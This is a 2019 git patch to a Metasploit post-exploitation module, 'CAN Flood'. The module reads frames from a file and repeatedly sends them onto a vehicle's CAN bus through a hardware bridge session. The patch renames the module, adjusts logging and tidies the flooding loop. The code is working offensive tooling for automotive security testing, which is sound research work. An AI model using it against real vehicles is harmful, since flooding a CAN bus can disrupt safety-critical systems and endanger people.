From cb7b9080bdb0f1fbaa0598742b0bbe098de33203 Mon Sep 17 00:00:00 2001 From: PietroBiondi Date: Wed, 20 Mar 2019 15:13:41 +0100 Subject: [PATCH] 1) changed print_status with vprint_status 2) Fix iterations and line splits 3) Changed name of the module 4) removed DisclosureDate --- modules/post/hardware/automotive/can_flood.rb | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/modules/post/hardware/automotive/can_flood.rb b/modules/post/hardware/automotive/can_flood.rb index 9ca34aaf9d..778e01d985 100644 --- a/modules/post/hardware/automotive/can_flood.rb +++ b/modules/post/hardware/automotive/can_flood.rb @@ -7,11 +7,10 @@ class MetasploitModule < Msf::Post super( update_info( info, - 'Name' => 'can_flood', + 'Name' => 'CAN Flood', 'Description' => 'Module that floods a CAN interface', 'License' => MSF_LICENSE, 'Author' => ['Pietro Biondi'], - 'DisclosureDate' => ['March 20 2019'], 'Platform' => ['hardware'], 'SessionTypes' => ['hwbridge'] ) @@ -26,17 +25,17 @@ class MetasploitModule < Msf::Post end def run - print_status(' -- OPENING FRAMELIST FILE --') + vprint_status("Reading frame list file: #{datastore['FRAMELIST']}") unless ::File.exist? datastore['FRAMELIST'] print_error "Frame list file '#{datastore['FRAMELIST']}' does not exist" return end lines = File.readlines(datastore['FRAMELIST']).map { |line| line.strip } print_status(' -- FLOODING -- ') - (0..datastore['ROUND_NUMBER']).each do - for i in 0..lines.length - 1 - frame = lines.map { |s| s.split('+') } - client.automotive.cansend(datastore['CANBUS'], frame[i][0], frame[i][1]) + (datastore['ROUND_NUMBER']).times do + lines.each do |line| + frame = line.split('+') + client.automotive.cansend(datastore['CANBUS'], frame[0], frame[1]) end end end